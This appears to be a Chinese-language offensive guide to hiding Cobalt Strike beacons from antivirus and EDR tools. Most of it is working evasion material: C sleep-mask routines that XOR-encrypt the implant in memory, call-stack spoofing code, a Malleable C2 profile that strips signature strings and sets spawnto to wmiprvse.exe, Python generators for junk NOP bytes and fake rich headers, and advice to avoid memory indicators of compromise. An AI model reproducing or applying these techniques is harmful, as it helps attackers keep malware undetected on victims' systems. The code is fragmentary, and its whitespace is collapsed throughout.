/* Mask a beacon section * First call will mask * Second call will unmask */voidmask_section(SLEEPMASKP* parms,DWORD a,DWORD b) {while (a < b) {*(parms->beacon_ptr + a) ^=parms->mask[a % MASK_SIZE]; a++; }/* Mask the beacons sections * First call will mask * Second call will unmask */voidmask_sections(SLEEPMASKP * parms) { DWORD * index; DWORD a, b; /* walk our sections and mask them */ index =parms->sections;while (TRUE) { a =*index; b =*(index +1); index +=2;if (a ==0&& b ==0)break;mask_section(parms, a, b); }}
// 如下代码每隔一个字节进行异或加密voidmask_section(SLEEPMASKP* parms,DWORD a,DWORD b) {while (a < b) { // 只有当 a 是偶数时才执行异或操作,这样可以确保每两个字节进行一次异或操作if (a %2==0) {*(parms->beacon_ptr + a) ^=parms->mask[a % MASK_SIZE]; } a++; }}
//根据字节的位置来动态生成密钥voidmask_section(SLEEPMASKP* parms,DWORD a,DWORD b) {while (a < b) { BYTE dynamic_key = (a *37) & MASK_SIZE; // simple example of dynamic key generation*(parms->beacon_ptr + a) ^= dynamic_key; a++; }}
//异或加密结合自反运算,比如NOT运算voidmask_section(SLEEPMASKP* parms,DWORD a,DWORD b) {while (a < b) {*(parms->beacon_ptr + a) ^=parms->mask[a % MASK_SIZE];*(parms->beacon_ptr + a) =~(*(parms->beacon_ptr + a)); // bitwise NOT a++; }}
voidset_callstack(INPSTACK_FRAME callstack,OUTPDWORD number_of_frames){ DWORD i =0; /* * How to choose your call stack to spoof. * Steps: * 1. Use process hacker or similar utility on a representative * Windows target system to find a stack you want to spoof. * Note: Different versions of windows may have different offsets. * 2. Use the module, function and offset information as input * to the getFunctionOffset utility located in arsenal-kit/utils. * 3. The getFunctionOffset utility outputs information including * the code to use in this function. * Note: Should look for a stack with NtWaitForSingleObject at the top. * Then use the information for the remaining stack frames. * Note: The module extension is optional. * * Using the getFunctionOffset helper utility to generate the code. * getFunctionOffset.exe ntdll.dll TpReleasePool 0x402 * getFunctionOffset.exe kernel32.dll BaseThreadInitThunk 0x14 * getFunctionOffset.exe ntdll RtlUserThreadStart 0x21 * * Note: The number of frames can not exceed the MAX_FRAME_NUM value. */set_frame_info(&callstack[i++],L"ntdll.dll",0,0x550b2,0, FALSE);set_frame_info(&callstack[i++],L"kernel32.dll",0,0x174b4,0, FALSE);set_frame_info(&callstack[i++],L"ntdll",0,0x526a1,0, FALSE);*number_of_frames = i;}
BOOLcalculate_function_stack_size(INOUTPSTACK_FRAME frame){ DWORD64 ImageBase =0; PUNWIND_HISTORY_TABLE pHistoryTable =NULL; PRUNTIME_FUNCTION pRuntimeFunction =NULL; // [1] Locate RUNTIME_FUNCTION for given function. pRuntimeFunction =RtlLookupFunctionEntry( (DWORD64)frame->returnAddress,&ImageBase, pHistoryTable);if (!pRuntimeFunction) {return FALSE; } /* * [2] Recursively calculate the total stack size for * the function we are "returning" to */returncalculate_function_stack_size_internal( frame, pRuntimeFunction, ImageBase);}
BOOLinitialize_spoofed_callstack(PSTACK_FRAME callstack,DWORD number_of_frames){ PSTACK_FRAME frame =NULL;for (DWORD i =0; i < number_of_frames; i++) { frame =&callstack[i]; // [1] Calculate ret address for current stack frame.if (!calculate_return_address(frame)) {return FALSE; } // [2] Calculate the total stack size for ret function.if (!calculate_function_stack_size(frame)) {return FALSE; } }return TRUE;}
transform-x64 {
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "ReflectiveLoader" "";
strrep "beacon.x64.dll" "";
strrep "beacon.dll" ""; # Remove this text
strrep "msvcrt.dll" "";
strrep "C:\\Windows\\System32\\msvcrt.dll" "";
strrep "Stack around the variable" "";
strrep "was corrupted." "";
strrep "The variable" "";
strrep "is being used without being initialized." "";
strrep "The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";
strrep "A cast to a smaller data type has caused a loss of data. If this was intentional, you should mask the source of the cast with the appropriate bitmask. For example:" "";
strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";
strrep "Stack memory was corrupted" "";
strrep "A local variable was used before it was initialized" "";
strrep "Stack memory around _alloca was corrupted" "";
strrep "Unknown Runtime Check Error" "";
strrep "Unknown Filename" "";
strrep "Unknown Module Name" "";
strrep "Run-Time Check Failure" "";
strrep "Stack corrupted near unknown variable" "";
strrep "Stack pointer corruption" "";
strrep "Cast to smaller type causing loss of data" "";
strrep "Stack memory corruption" "";
strrep "Local variable used before initialization" "";
strrep "Stack around" "corrupted";
strrep "operator" "";
strrep "operator co_await" "";
strrep "operator<=>" "";
}
inc esp
inc eax
dec ebx
inc ebx
dec esp
dec eax
nop
xchg ax,ax
nop dword ptr [eax]
nop word ptr [eax+eax]
nop dword ptr [eax+eax]
nop dword ptr [eax]
nop dword ptr [eax]
我们可以使用一个简单的python脚本,来实现对上述汇编指令的随机组合
import random# Define the byte strings to shufflebyte_strings = ["40", "41", "42", "6690", "40", "43", "44", "45", "46", "47", "48", "49", "", "4c", "90", "0f1f00", "660f1f0400", "0f1f0400", "0f1f00", "0f1f00", "87db", "87c9", "87d2", "6687db", "6687c9", "6687d2"]
# Shuffle the byte stringsrandom.shuffle(byte_strings)# Create a new list to store the formatted bytesformatted_bytes = []# Loop through each byte string in the shuffled listfor byte_string in byte_strings:# Check if the byte string has more than 2 charactersiflen(byte_string)>2:# Split the byte string into chunks of two characters byte_list = [byte_string[i:i+2]for i inrange(0, len(byte_string), 2)]# Add \x prefix to each byte and join them formatted_bytes.append(''.join([f'\\x{byte}'for byte in byte_list]))else:# Add \x prefix to the single byte formatted_bytes.append(f'\\x{byte_string}')# Join the formatted bytes into a single stringformatted_string =''.join(formatted_bytes)# Print the formatted byte stringprint(formatted_string)
import randomdefgenerate_junk_assembly(length):return''.join([chr(random.randint(0, 255)) for _ inrange(length)])defgenerate_rich_header(length): rich_header =generate_junk_assembly(length) rich_header_hex =''.join([f"\\x{ord(c):02x}"for c in rich_header])return rich_header_hex#make sure the number of opcodes has to be 4-byte alignedprint(generate_rich_header(100))
将生成的花指令复制到Profile文件的Stage块中
stage {
...
set rich_header "\x2e\x9a\xad\xf1...";
...
}
25 FF FF FF 00 and eax,0xffffff
3D 41 41 41 00 cmp eax,0x414141
75 ?? jne <relative offset based on next byte, range could be 5-10 bytes>
25 FF FF FF 00 and eax,0xffffff
3D 42 42 42 00 cmp eax,0x424242
75 ?? jne <relative offset based on next byte>
post-ex {
set pipename "Winsock2\\CatalogChangeListener-###-0";
set spawnto_x86 "%windir%\\syswow64\\wbem\\wmiprvse.exe -Embedding";
set spawnto_x64 "%windir%\\sysnative\\wbem\\wmiprvse.exe -Embedding";
set obfuscate "true";
set smartinject "true";
set amsi_disable "false";
set keylogger "GetAsyncKeyState";
#set threadhint "module!function+0x##"
}
为了避免检测,我们需关闭threadint和amsi,因为这些是主要的内存IOC(Indicator of Compromise,指系统被攻击或被恶意软件感染的迹象)